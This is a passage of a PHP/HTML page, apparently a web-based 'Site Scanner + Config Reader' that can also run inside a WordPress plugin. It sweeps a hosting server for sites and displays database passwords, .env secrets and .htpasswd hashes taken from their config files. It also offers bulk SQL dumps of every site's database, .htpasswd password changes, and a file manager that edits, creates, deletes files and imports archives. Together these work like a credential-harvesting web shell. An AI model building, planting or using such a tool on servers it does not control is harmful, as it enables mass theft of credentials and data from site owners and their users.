.fm-table th { background: #0f3460; color: #90caf9; padding: 6px 10px; font-size: 11px; text-align: left; position: sticky; top: 0; z-index: 1; }
.fm-table td { padding: 5px 10px; font-size: 12px; border-bottom: 1px solid #0f3460; color: #ccc; white-space: nowrap; }
.fm-table tr:hover td { background: #16213e; cursor: pointer; }
.fm-table tr.selected td { background: #1565c0; color: #fff; }
.fm-icon { margin-right: 5px; }
.fm-name { color: #e0e0e0; }
.fm-name.is-dir { color: #90caf9; font-weight: 600; }
.fm-name.is-up  { color: #ffcc80; }
.fm-size  { color: #888; font-size: 11px; text-align: right; }
.fm-mtime { color: #666; font-size: 11px; }
.fm-actions { text-align: right; white-space: nowrap; }
.fm-btn-act { background: transparent; border: 1px solid #37474f; border-radius: 3px; padding: 2px 6px; font-size: 11px; cursor: pointer; margin-left: 3px; color: #90caf9; }
.fm-btn-act:hover { background: #0f3460; border-color: #1565c0; }
.fm-btn-act.danger { color: #ef9a9a; border-color: #c62828; }
.fm-btn-act.danger:hover { background: #4a1515; }
.fm-view-pane { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
.fm-view-header { background: #16213e; padding: 8px 14px; display: flex; align-items: center; gap: 8px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; }
.fm-view-filename { color: #e0e0e0; font-size: 12px; font-family: monospace; font-weight: 600; flex: 1; }
.fm-view-meta { color: #888; font-size: 11px; white-space: nowrap; }
.fm-view-body { flex: 1; overflow: auto; }
.fm-view-body pre { margin: 0; padding: 14px 16px; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; color: #d4d4d4; white-space: pre-wrap; word-break: break-all; background: #1a1a2e; min-height: 100%; }
.fm-view-empty { color: #555; padding: 40px; text-align: center; font-size: 13px; }
.fm-loading { color: #888; padding: 30px; text-align: center; font-size: 13px; }
.fm-footer { background: #16213e; padding: 6px 14px; font-size: 11px; color: #666; border-top: 1px solid #0f3460; display: flex; justify-content: space-between; }

/* Редактор */
.fm-edit-pane { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
.fm-edit-header { background: #16213e; padding: 8px 14px; display: flex; align-items: center; gap: 8px; border-bottom: 1px solid #0f3460; flex-wrap: wrap; }
.fm-edit-filename { color: #ffcc80; font-size: 12px; font-family: monospace; font-weight: 600; flex: 1; }
.fm-edit-status { font-size: 11px; white-space: nowrap; }
.fm-edit-body { flex: 1; display: flex; overflow: hidden; }
.fm-editor { flex: 1; width: 100%; border: none; outline: none; resize: none; background: #0d1117; color: #c9d1d9; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; padding: 14px 16px; tab-size: 4; }
.fm-btn-edit     { background: #e65100; color: #fff; border: 1px solid #bf360c; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; }
.fm-btn-edit:hover     { background: #bf360c; }
.fm-btn-save-file { background: #2e7d32; color: #fff; border: 1px solid #1b5e20; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; }
.fm-btn-save-file:hover { background: #1b5e20; }
.fm-btn-discard  { background: #37474f; color: #cfd8dc; border: 1px solid #546e7a; border-radius: 4px; padding: 4px 10px; font-size: 11px; cursor: pointer; white-space: nowrap; }
.fm-btn-discard:hover  { background: #546e7a; }

/* Просмотр конфига */
.view-modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.6); z-index: 1100; align-items: center; justify-content: center; }
.view-modal-overlay.active { display: flex; }
.view-modal { background: #1e1e1e; border-radius: 10px; padding: 0; min-width: 600px; max-width: 90vw; width: 860px; max-height: 85vh; display: flex; flex-direction: column; box-shadow: 0 8px 40px rgba(0,0,0,.5); }
.view-modal-header { display: flex; align-items: center; justify-content: space-between; padding: 12px 18px; background: #2d2d2d; border-radius: 10px 10px 0 0; }
.view-modal-title { color: #e0e0e0; font-size: 13px; font-weight: 600; font-family: monospace; }
.view-modal-actions { display: flex; gap: 8px; align-items: center; }
.btn-copy-file { background: #37474f; color: #cfd8dc; border: none; border-radius: 4px; padding: 4px 12px; font-size: 11px; cursor: pointer; }
.btn-copy-file:hover { background: #546e7a; }
.btn-close-view { background: transparent; color: #aaa; border: none; font-size: 20px; cursor: pointer; line-height: 1; padding: 0 4px; }
.btn-close-view:hover { color: #fff; }
.view-modal-body { overflow: auto; flex: 1; }
.view-modal-body pre { margin: 0; padding: 16px 18px; font-family: 'Consolas','Monaco',monospace; font-size: 12px; line-height: 1.6; color: #d4d4d4; white-space: pre-wrap; word-break: break-all; background: #1e1e1e; }
.view-modal-footer { padding: 8px 18px; background: #2d2d2d; border-radius: 0 0 10px 10px; font-size: 11px; color: #888; display: flex; justify-content: space-between; }
.view-loading { color: #888; padding: 30px; text-align: center; font-size: 13px; }

/* Смена пароля */
.modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.5); z-index: 1000; align-items: center; justify-content: center; }
.modal-overlay.active { display: flex; }
.modal { background: #fff; border-radius: 10px; padding: 24px 28px; min-width: 360px; max-width: 480px; width: 100%; box-shadow: 0 8px 32px rgba(0,0,0,.2); }
.modal h3 { margin: 0 0 16px; font-size: 16px; border: none; }
.modal label { display: block; font-size: 12px; font-weight: 600; margin-bottom: 4px; color: #555; }
.modal input[type=password], .modal input[type=text] { width: 100%; padding: 8px 10px; border: 1px solid #ccc; border-radius: 5px; font-size: 13px; margin-bottom: 12px; }
.modal-actions { display: flex; gap: 10px; justify-content: flex-end; margin-top: 4px; }
.btn-save { background: #2e7d32; color: #fff; border: none; border-radius: 5px; padding: 8px 18px; font-size: 13px; cursor: pointer; }
.btn-save:hover { background: #1b5e20; }
.btn-cancel { background: #f5f5f5; color: #333; border: 1px solid #ccc; border-radius: 5px; padding: 8px 18px; font-size: 13px; cursor: pointer; }
.btn-cancel:hover { background: #e0e0e0; }
.modal-msg { font-size: 12px; margin-top: 8px; padding: 6px 10px; border-radius: 4px; display: none; }
.modal-msg.success { background: #e8f5e9; color: #2e7d32; display: block; }
.modal-msg.error   { background: #ffebee; color: #c62828; display: block; }
.hash-new { font-size: 10px; word-break: break-all; color: #555; margin-top: 6px; }
.pw-wrap { position: relative; }
.pw-wrap input { padding-right: 36px; }
.pw-toggle { position: absolute; right: 8px; top: 50%; transform: translateY(-60%); cursor: pointer; font-size: 16px; color: #888; user-select: none; }
.btn-icon { background: transparent; border: 1px solid #ccc; border-radius: 5px; padding: 4px 8px; cursor: pointer; font-size: 14px; line-height: 1; }
.btn-icon:hover { background: #e3f2fd; border-color: #90caf9; }
.col-actions-icons { white-space: nowrap; text-align: center; }
.site-status-toolbar { display: flex; flex-wrap: wrap; align-items: center; gap: 12px; margin: 0 0 12px; padding: 12px 14px; background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; font-size: 12px; }
.site-status-toolbar label { display: flex; align-items: center; gap: 6px; cursor: pointer; color: #555; }
.site-status-sel { font-size: 12px; padding: 4px 6px; border: 1px solid #ccc; border-radius: 5px; min-width: 130px; background: #fff; cursor: pointer; }
.site-status-sel.status-pending { border-color: #90caf9; background: #e3f2fd; color: #0d47a1; }
.site-status-sel.status-off { border-color: #ef9a9a; background: #ffebee; color: #b71c1c; }
.site-status-sel.status-ok { border-color: #a5d6a7; background: #e8f5e9; color: #1b5e20; }
.site-status-sel.status-unknown { border-color: #ffe082; background: #fff8e1; color: #f57f17; }
.site-status-sel.dirty { box-shadow: 0 0 0 2px #1565c0; }
.btn-save-statuses { background: #1565c0; color: #fff; border: none; border-radius: 5px; padding: 8px 16px; font-size: 12px; cursor: pointer; font-weight: 600; }
.btn-save-statuses:hover { background: #0d47a1; }
.btn-save-statuses:disabled { background: #90a4ae; cursor: default; }
.site-status-msg { font-size: 12px; color: #555; }
.site-status-msg.ok { color: #2e7d32; }
.site-status-msg.error { color: #c62828; }
tr.row-site-pending { background: #f5f9ff; }
tr.row-site-off { background: #fff5f5; }
tr.row-site-off td { color: #666; }
tr.row-site-unknown { background: #fffde7; }
tr.tree-folder { background: #fafafa; }
tr.tree-folder td { vertical-align: top; }
tr.tree-folder-meta { font-size: 11px; font-style: italic; }
tr.tree-row.tree-hidden { display: none; }
.tree-toggle { border: none; background: none; cursor: pointer; width: 22px; font-size: 11px; padding: 0; vertical-align: middle; color: #1565c0; }
.tree-toggle-spacer { display: inline-block; width: 22px; }
.tree-folder-icon { opacity: 0.85; }
.tree-name-cell { min-width: 160px; }
.purpose-col { font-size: 11px; line-height: 1.45; max-width: 300px; min-width: 200px; }
.purpose-label { color: #333; font-weight: 600; }
.purpose-hint { color: #666; }
.muted { color: #999; }
.collapsible-head { cursor: pointer; user-select: none; }
.collapsible-head:hover { color: #1565c0; }
.configs-panel { display: none; }
.configs-panel.open { display: block; }
.db-info-table { width: 100%; font-size: 12px; border-collapse: collapse; }
.db-info-table td, .db-info-table th { border: 1px solid #e0e0e0; padding: 6px 10px; text-align: left; }
.db-info-table th { background: #f5f5f5; width: 38%; }
.header-bar { display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 10px; margin-bottom: 10px; }
.btn-logout { font-size: 12px; color: #666; text-decoration: none; padding: 6px 12px; border: 1px solid #ccc; border-radius: 5px; background: #fff; }
.btn-logout:hover { background: #f5f5f5; }
</style>
</head>
<body>
<div class="header-bar">
    <h1 style="margin:0;">🔍 Site Scanner + Config Reader</h1>
    <?php if (!up_to_wp_mode()): ?>
    <a class="btn-logout" href="?logout=1">Выйти</a>
    <?php else: ?>
    <a class="btn-logout" href="<?php echo function_exists('admin_url') ? h(admin_url('tools.php?page=up-to-scanner')) : '#'; ?>" target="_top">К плагину</a>
    <?php endif; ?>
</div>

<div class="info-box">
    <strong>📌 Автоопределение путей:</strong><br>
    <code>Скрипт запущен из:</code> <?php echo h($current_dir); ?><br>
    <code>DOCUMENT_ROOT:</code> <?php echo h($root_dir); ?><br>
    <code>Основная папка:</code> <strong><?php echo h($scan_dir); ?></strong>
    <?php if (!empty($scan_roots) && count($scan_roots) > 1): ?>
    <br><code>Также сканируем:</code> <?php echo h(implode(', ', array_slice($scan_roots, 1))); ?>
    <?php endif; ?>
    <?php if (!empty($scan_log)): ?>
    <br><br><strong>Результаты по папкам:</strong>
    <ul style="margin:6px 0 0;padding-left:18px;font-size:11px;">
    <?php foreach ($scan_log as $log): ?>
        <li><code><?php echo h($log['path']); ?></code>
        <?php if ($log['ok']): ?> — <?php echo (int)$log['count']; ?> папок<?php if (isset($log['added'])): ?>, +<?php echo (int)$log['added']; ?> новых<?php endif; ?>
        <?php else: ?> — <span style="color:#c62828;"><?php echo h(isset($log['error']) ? $log['error'] : 'нет доступа'); ?></span>
        <?php endif; ?></li>
    <?php endforeach; ?>
    </ul>
    <?php endif; ?>
</div>

<?php if ($total === 0): ?>
<div class="info-box" style="background:#fff3e0;border-color:#ffcc80;">
    ⚠️ Сайты не найдены. Укажите корень дерева, например:
    <code>?scan_dir=/var/www/u2608495/data/www/website.ru</code> или
    <code>?scan_dir=/var/softaculous</code>
</div>
<?php endif; ?>

<div class="stats">
    <div class="stat-card"><div class="num"><?php echo $total; ?></div><div class="lbl">Всего папок</div></div>
    <div class="stat-card"><div class="num"><?php echo $total-$empty; ?></div><div class="lbl">Сайтов</div></div>
    <div class="stat-card"><div class="num"><?php echo $with_wp; ?></div><div class="lbl">WordPress</div></div>
    <div class="stat-card"><div class="num"><?php echo $with_joo; ?></div><div class="lbl">Joomla</div></div>
    <div class="stat-card"><div class="num"><?php echo $with_env; ?></div><div class="lbl">С .env</div></div>
    <div class="stat-card"><div class="num"><?php echo $with_htauth; ?></div><div class="lbl">Basic Auth</div></div>
    <div class="stat-card"><div class="num"><?php echo (int)$with_db; ?></div><div class="lbl">С БД (дамп)</div></div>
</div>

<h3>🗄️ Дампы баз данных</h3>
<div class="db-dump-panel">
    <p style="font-size:12px;color:#555;margin:0 0 12px;">
        Вставьте фрагмент wp-config, .env (Laravel), configuration.php (Joomla) — поля распознаются автоматически.
    </p>
    <label for="db-config-snippet" style="font-size:12px;font-weight:600;">Вставить конфиг БД</label>
    <textarea id="db-config-snippet" class="db-dump-snippet" placeholder="define('DB_NAME', 'mydb'); ..."></textarea>
    <div class="db-dump-actions">
        <button type="button" class="btn-dump" onclick="dbParseSnippet()">🔍 Распознать</button>
        <button type="button" class="btn-dump" onclick="dbFillFromSnippet()">📋 Заполнить поля</button>
        <?php if ($with_db > 0): ?>
        <button type="button" class="btn-dump-all" id="btn-dump-all" onclick="dbDumpAllSites()">⬇️ Скачать все дампы (<?php echo (int)$with_db; ?>)</button>
        <?php endif; ?>
    </div>
    <div class="db-dump-msg" id="db-parse-msg"></div>
    <div class="db-dump-grid" style="margin-top:12px;">
        <div><label>DB host</label><input type="text" id="db-host" value="127.0.0.1"></div>
        <div><label>DB port</label><input type="text" id="db-port" value="3306"></div>
        <div><label>DB name</label><input type="text" id="db-name"></div>
        <div><label>DB user</label><input type="text" id="db-user"></div>
        <div><label>DB password</label><input type="text" id="db-pass" autocomplete="off"></div>
        <div><label>DB charset</label><input type="text" id="db-charset" value="utf8mb4"></div>
        <div><label>Site URL / имя</label><input type="text" id="db-site-url" placeholder="https://example.com"></div>
        <div><label>CMS</label><input type="text" id="db-cms" placeholder="WordPress / Laravel"></div>
    </div>
    <div class="db-dump-actions">
        <button type="button" class="btn-dump-all" onclick="dbDumpManual()">⬇️ Скачать .sql.gz</button>
    </div>
    <div class="db-dump-msg" id="db-dump-msg"></div>
</div>

<h3>📋 Обзор сайтов</h3>
<div class="site-status-toolbar">
    <button type="button" class="btn-save-statuses" id="btn-save-statuses" onclick="siteSaveAllStatuses()" disabled>💾 Сохранить статусы</button>
    <span class="site-status-msg" id="site-status-msg">Файл: <code><?php echo h(site_status_file_path()); ?></code></span>
    <label><input type="checkbox" id="filter-status-off" onchange="siteFilterByStatus()"> Только «не работает»</label>
    <label><input type="checkbox" id="filter-status-unknown" onchange="siteFilterByStatus()"> Только «не проверен»</label>
</div>
<table id="sites-overview-table">
    <thead>
        <tr>
            <th>#</th><th>Папка / дерево</th><th>Назначение</th><th>CMS / Тип</th>
            <th>.env</th><th>wp-config</th><th>Joomla cfg</th>
            <th>БД</th>
            <th>Статус</th>
            <th title="Просмотр данных БД">👁</th>
            <th title="Вставить конфиг">✏️</th>
            <th>.htaccess Auth</th><th>Nginx Auth</th><th>index</th><th>Путь</th><th>Действия</th>
        </tr>
    </thead>
    <tbody>
    <?php
    $tree_site_num = 0;
    if (!empty($scan_tree)) {
        foreach ($scan_tree as $tree_root) {
            render_scan_tree_rows($tree_root, $tree_site_num);
        }
    } else {
        foreach ($sites as $site) {
            render_scan_tree_rows(array(
                'type' => 'site', 'name' => $site['name'], 'path' => $site['path'],
                'depth' => 0, 'purpose' => scan_path_purpose($site['path'], true, true, $site['cms']),
                'site' => $site, 'children' => array(),
            ), $tree_site_num);
        }
    }
    ?>
    </tbody>
</table>

<h3 class="collapsible-head" onclick="toggleConfigsPanel()" title="Нажмите, чтобы развернуть">
    📄 Конфигурации сайтов <span id="configs-toggle-icon">▶</span>
</h3>
<div class="configs-panel" id="configs-panel">
<?php foreach ($sites as $site): ?>
<div class="config-block">
    <h4>
        <?php echo h($site['name']); ?>
        <span class="badge <?php echo cms_badge($site['cms']); ?>"><?php echo h($site['cms']); ?></span>
        <span style="font-size:11px;color:#888;"> — <?php echo h($site['path']); ?></span>
        <button class="btn-files" style="margin-left:8px;" onclick="openFM('<?php echo h(addslashes($site['path'])); ?>','<?php echo h(addslashes($site['name'])); ?>')">📁 Файлы</button>
        <?php if (!empty($site['has_db_creds'])): ?>
        <button class="btn-dump" style="margin-left:4px;" onclick='dbDumpSite(<?php echo json_encode(array(
            "name" => $site["name"],
            "cms" => $site["cms"],
            "site_url" => !empty($site["domain_hint"]) ? $site["domain_hint"] : $site["name"],
            "db_creds" => $site["db_creds"],
        ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>)'>⬇️ Дамп БД</button>
        <?php endif; ?>
    </h4>

    <div class="db-dump-site">
        <p class="section-label">🗄️ База данных</p>
        <?php if (!empty($site['has_db_creds'])): ?>
        <p style="font-size:11px;color:#555;margin:0 0 8px;">
            <code><?php echo h($site['db_creds']['db_user']); ?></code> →
            <code><?php echo h($site['db_creds']['db_name']); ?></code> @
            <code><?php echo h($site['db_creds']['db_host']); ?>:<?php echo h($site['db_creds']['db_port']); ?></code>
        </p>
        <?php else: ?>
        <p style="font-size:11px;color:#999;margin:0 0 8px;">Учётные данные не найдены в конфигах — вставьте фрагмент ниже.</p>
        <?php endif; ?>
        <textarea class="db-dump-snippet db-site-snippet" rows="4" placeholder="Вставьте wp-config / .env / configuration.php..." data-site="<?php echo h($site['name']); ?>"></textarea>
        <div class="db-dump-actions" style="margin-top:6px;">
            <button type="button" class="btn-dump" onclick="dbParseSiteSnippet('<?php echo h(addslashes($site['name'])); ?>', '<?php echo h(addslashes($site['cms'])); ?>', '<?php echo h(addslashes(!empty($site['domain_hint']) ? $site['domain_hint'] : $site['name'])); ?>')">🔍 Распознать и скачать</button>
        </div>
    </div>

    <?php if (!empty($site['env_vars'])): ?>
        <p class="section-label">.env
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/.env')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
        <?php foreach ($site['env_vars'] as $k => $v): ?>
            <tr>
                <td><code><?php echo h($k); ?></code></td>
                <td><?php echo preg_match('/PASSWORD|SECRET|KEY/i',$k) ? '<span class="password">'.h($v).'</span>' : h($v); ?></td>
            </tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['wp_vars'])): ?>
        <p class="section-label">wp-config.php
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/wp-config.php')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
        <?php foreach ($site['wp_vars'] as $k => $v): ?>
            <tr>
                <td><code><?php echo h($k); ?></code></td>
                <td><?php echo stripos($k,'PASSWORD')!==false ? '<span class="password">'.h($v).'</span>' : h($v); ?></td>
            </tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['joo_vars'])): ?>
        <p class="section-label">configuration.php (Joomla)
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/configuration.php')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
        <?php foreach ($site['joo_vars'] as $k => $v): ?>
            <tr>
                <td><code><?php echo h($k); ?></code></td>
                <td><?php echo stripos($k,'password')!==false ? '<span class="password">'.h($v).'</span>' : h($v); ?></td>
            </tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['htaccess_vars'])): ?>
        <p class="section-label">🔒 .htaccess — Basic Auth
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/.htaccess')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
        <?php foreach ($site['htaccess_vars'] as $k => $v): ?>
            <tr>
                <td><code><?php echo h($k); ?></code></td>
                <td>
                <?php
                if ($k === 'protected_files') {
                    $pf_items = array_map('trim', explode(',', $v));
                    foreach ($pf_items as $pf_item) {
                        $pf_clean = trim($pf_item, '"\'');
                        $pf_path  = $site['path'] . '/' . $pf_clean;
                        echo h($pf_item);
                        if (@file_exists($pf_path)) {
                            echo ' <button class="btn-view" onclick="viewFile(\'' . h(addslashes($pf_path)) . '\',\'' . h(addslashes($site['path'])) . '\')">👁</button>';
                        }
                        echo ' ';
                    }
                } else {
                    echo h($v);
                }
                ?>
                </td>
            </tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['htpasswd_users'])): ?>
        <p class="section-label">👤 .htpasswd — пользователи
            <span style="font-size:11px;color:#888;font-weight:normal;">(<?php echo h($site['htpasswd_file']); ?>)</span>
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['htpasswd_file'])); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
            <tr><th>Логин</th><th>Хеш пароля</th><th>Действие</th></tr>
            <?php foreach ($site['htpasswd_users'] as $u): ?>
            <tr>
                <td><strong><?php echo h($u['user']); ?></strong></td>
                <td><span class="password" style="font-size:10px;word-break:break-all;" id="hash-<?php echo h($site['name'].'-'.$u['user']); ?>"><?php echo h($u['hash']); ?></span></td>
                <td>
                    <button class="btn-change" onclick="openModal('<?php echo h(addslashes($u['user'])); ?>','<?php echo h(addslashes($site['htpasswd_file'])); ?>','<?php echo h($site['name'].'-'.$u['user']); ?>')">🔓 Изменить пароль</button>
                </td>
            </tr>
            <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['nginx_vars']) && count($site['nginx_vars']) > 1): ?>
        <p class="section-label">🌐 Nginx конфиг</p>
        <table class="config-table">
        <?php foreach ($site['nginx_vars'] as $k => $v): ?>
            <tr><td><code><?php echo h($k); ?></code></td><td><?php echo h($v); ?></td></tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (empty($site['env_vars'])&&empty($site['wp_vars'])&&empty($site['joo_vars'])&&empty($site['has_db_creds'])&&empty($site['htaccess_vars'])&&empty($site['htpasswd_users'])&&(empty($site['nginx_vars'])||count($site['nginx_vars'])<=1)): ?>
        <p style="color:#999;margin:0;">Нет найденных конфигов</p>
    <?php endif; ?>
</div>
<?php endforeach; ?>
</div>

<p style="margin-top:15px;color:#999;font-size:12px;">Сканирование завершено. Найдено папок: <?php echo $total; ?>.</p>

<!-- ===== ФАЙЛОВЫЙ МЕНЕДЖЕР ===== -->
<div class="fm-overlay" id="fm-overlay">
    <div class="fm-modal">
        <div class="fm-header">
            <span class="fm-title">📁 <span id="fm-site-name"></span></span>
            <span class="fm-breadcrumb" id="fm-breadcrumb"></span>
            <div class="fm-header-actions">
                <button class="fm-btn" onclick="fmImportArchive()">📦 Импорт архива</button>
                <button class="fm-btn" onclick="fmNewFile()">➕ Новый файл</button>
                <button class="fm-btn" onclick="fmCopyPath()">📋 Путь</button>
                <button class="fm-btn-close" onclick="closeFM()">✕</button>
            </div>
        </div>
        <div class="fm-body" id="fm-body">
            <div class="fm-list-pane" id="fm-list-pane">
                <div class="fm-loading">⏳ Загрузка...</div>
            </div>
            <!-- ПАНЕЛЬ ПРОСМОТРА -->
            <div class="fm-view-pane" id="fm-view-pane" style="display:none;">
                <div class="fm-view-header">
                    <span class="fm-view-filename" id="fm-view-filename"></span>
                    <span class="fm-view-meta" id="fm-view-meta"></span>
                    <button class="fm-btn" onclick="fmCopyContent()">📋</button>
                    <button class="fm-btn-act" id="fm-btn-rename" onclick="fmRenameSelected()">✏️ Имя</button>
                    <button class="fm-btn-act danger" id="fm-btn-delete" onclick="fmDeleteSelected()">🗑️</button>
                    <button class="fm-btn-edit" id="fm-btn-edit" onclick="fmStartEdit()">✏️ Редактировать</button>
                </div>
                <div class="fm-view-body" id="fm-view-body">
                    <div class="fm-view-empty">← Выберите файл для просмотра</div>
                </div>
            </div>
            <!-- ПАНЕЛЬ РЕДАКТОРА -->
            <div class="fm-edit-pane" id="fm-edit-pane" style="display:none;">
                <div class="fm-edit-header">
                    <span class="fm-edit-filename">✏️ <span id="fm-edit-filename"></span></span>
                    <span class="fm-edit-status" id="fm-edit-status"></span>
                    <button class="fm-btn-save-file" onclick="fmSaveFile()">💾 Сохранить</button>
                    <button class="fm-btn-discard"   onclick="fmDiscardEdit()">✕ Отмена</button>
                </div>
                <div class="fm-edit-body">
                    <textarea class="fm-editor" id="fm-editor" spellcheck="false"></textarea>
                </div>
            </div>
        </div>
        <div class="fm-footer">
            <span id="fm-status"></span>
            <span id="fm-selected-path" style="font-family:monospace;font-size:11px;"></span>
        </div>
    </div>
</div>
<input type="file" id="fm-archive-input" accept=".zip,application/zip" style="display:none;">

<!-- МОДАЛЬНОЕ ОКНО ПРОСМОТРА КОНФИГА -->
<div class="view-modal-overlay" id="view-modal-overlay">
    <div class="view-modal">
        <div class="view-modal-header">
            <span class="view-modal-title" id="view-modal-title">файл</span>
            <div class="view-modal-actions">
                <button class="btn-copy-file" onclick="copyFileContent()">📋 Копировать</button>
                <button class="btn-close-view" onclick="closeViewModal()">✕</button>
            </div>
        </div>
        <div class="view-modal-body" id="view-modal-body"><div class="view-loading">Загрузка...</div></div>
        <div class="view-modal-footer">
            <span id="view-modal-path"></span>
            <span id="view-modal-size"></span>
        </div>
    </div>
</div>

<!-- МОДАЛЬНОЕ ОКНО СОЗДАНИЯ ФАЙЛА -->
<div class="modal-overlay" id="fm-newfile-overlay" style="z-index:1300;">
    <div class="modal" style="max-width:600px;">
        <h3>➕ Создать новый файл</h3>
        <p style="font-size:12px;color:#555;margin:0 0 12px;">
            Директория: <code id="fm-newfile-dir" style="font-size:10px;word-break:break-all;"></code>
        </p>
        <label>Имя файла</label>
        <input type="text" id="fm-newfile-name" placeholder="например: config.php" autocomplete="off">
        <label>Содержимое (необязательно)</label>
        <textarea id="fm-newfile-content" style="width:100%;height:200px;border:1px solid #ccc;border-radius:5px;padding:8px 10px;font-family:'Consolas','Monaco',monospace;font-size:12px;resize:vertical;tab-size:4;" placeholder="Вставьте содержимое файла..."></textarea>
        <div class="modal-msg" id="fm-newfile-msg"></div>
        <div class="modal-actions">
            <button class="btn-cancel" onclick="closeNewFileModal()">Отмена</button>
            <button class="btn-save"   onclick="fmCreateFile()">💾 Создать</button>
        </div>
    </div>
</div>

<!-- Просмотр данных БД (обзор сайтов) -->
<div class="modal-overlay" id="site-db-view-overlay">
    <div class="modal" style="max-width:560px;">
        <h3>👁 <span id="site-db-view-title">База данных</span></h3>
        <p style="font-size:11px;color:#888;margin:0 0 12px;" id="site-db-view-path"></p>
        <div id="site-db-view-body"></div>
        <div class="modal-actions" style="margin-top:14px;">
            <button type="button" class="btn-cancel" onclick="siteCloseDbView()">Закрыть</button>
        </div>
    </div>
</div>

<!-- Редактирование конфига БД (обзор сайтов) -->
<div class="modal-overlay" id="site-db-edit-overlay">
    <div class="modal" style="max-width:640px;">
        <h3>✏️ <span id="site-db-edit-title">Конфиг БД</span></h3>
        <p style="font-size:11px;color:#555;margin:0 0 10px;">
            Вставьте содержимое <code>wp-config.php</code>, <code>.env</code> или <code>configuration.php</code> — поля DB_NAME, DB_USER, DB_PASSWORD, DB_HOST, DB_CHARSET будут извлечены и сохранены для дампа.
        </p>
        <textarea id="site-db-edit-snippet" style="width:100%;height:180px;border:1px solid #ccc;border-radius:5px;padding:8px 10px;font-family:Consolas,Monaco,monospace;font-size:11px;resize:vertical;" placeholder="define('DB_NAME', '...');"></textarea>
        <div class="db-dump-actions" style="margin-top:8px;">
            <button type="button" class="btn-dump" onclick="siteParseDbSnippet()">🔍 Распознать</button>
            <button type="button" class="btn-save" onclick="siteSaveDbCreds()">💾 Сохранить</button>
        </div>
        <div class="modal-msg" id="site-db-edit-msg"></div>
        <div id="site-db-edit-preview" style="font-size:11px;margin-top:8px;"></div>
        <div class="modal-actions">
            <button type="button" class="btn-cancel" onclick="siteCloseDbEdit()">Отмена</button>
        </div>
    </div>
</div>

<!-- МОДАЛЬНОЕ ОКНО СМЕНЫ ПАРОЛЯ -->
<div class="modal-overlay" id="modal-overlay">
    <div class="modal">
        <h3>🔓 Изменить пароль</h3>
        <p style="font-size:12px;color:#555;margin:0 0 12px;">
            Пользователь: <strong id="modal-username"></strong><br>
            Файл: <code id="modal-filepath" style="font-size:10px;word-break:break-all;"></code>
        </p>
        <label>Новый пароль</label>
        <div class="pw-wrap">
            <input type="password" id="modal-password" placeholder="Введите новый пароль" autocomplete="new-password">
            <span class="pw-toggle" onclick="togglePw()">👁</span>
        </div>
        <label>Повторите пароль</label>
        <div class="pw-wrap">
            <input type="password" id="modal-password2" placeholder="Повторите пароль" autocomplete="new-password">
            <span class="pw-toggle" onclick="togglePw2()">👁</span>
        </div>
        <div class="modal-msg" id="modal-msg"></div>
        <div class="hash-new" id="modal-new-hash"></div>
        <div class="modal-actions">
            <button class="btn-cancel" onclick="closeModal()">Отмена</button>
            <button class="btn-save"   onclick="savePassword()">💾 Сохранить</button>
        </div>
    </div>
</div>

<script>

// ===== ОБЗОР САЙТОВ: БД, статус, конфиги =====
var APP_ENDPOINT_URL = <?php echo json_encode(up_to_wp_endpoint_url_value(), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>;
var APP_ACTION_FIELD = <?php echo json_encode(up_to_wp_action_param(), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>;
var _siteEditCtx = null;
var _siteEditParsed = null;

function appPost(fd) {
    return fetch(APP_ENDPOINT_URL || window.location.href, {
        method: 'POST',
        body: fd,
        credentials: 'same-origin'
    });
}

function toggleConfigsPanel() {
    var panel = document.getElementById('configs-panel');
    var icon = document.getElementById('configs-toggle-icon');
    if (!panel) return;
    var open = panel.classList.toggle('open');
    panel.style.display = open ? 'block' : 'none';
    if (icon) icon.textContent = open ? '▼' : '▶';
}
function siteShowDbInfo(site) {
    document.getElementById('site-db-view-title').textContent = site.name || 'База данных';
    document.getElementById('site-db-view-path').textContent = site.path || '';
    var body = document.getElementById('site-db-view-body');
    var rows = site.db_info || [];
    if (!rows.length && site.db_creds) {
        var c = site.db_creds;
        rows = [
            { k: 'DB host', v: (c.db_host || '') + (c.db_port ? ':' + c.db_port : ''), secret: false },
            { k: 'DB name', v: c.db_name || '', secret: false },
            { k: 'DB user', v: c.db_user || '', secret: false },
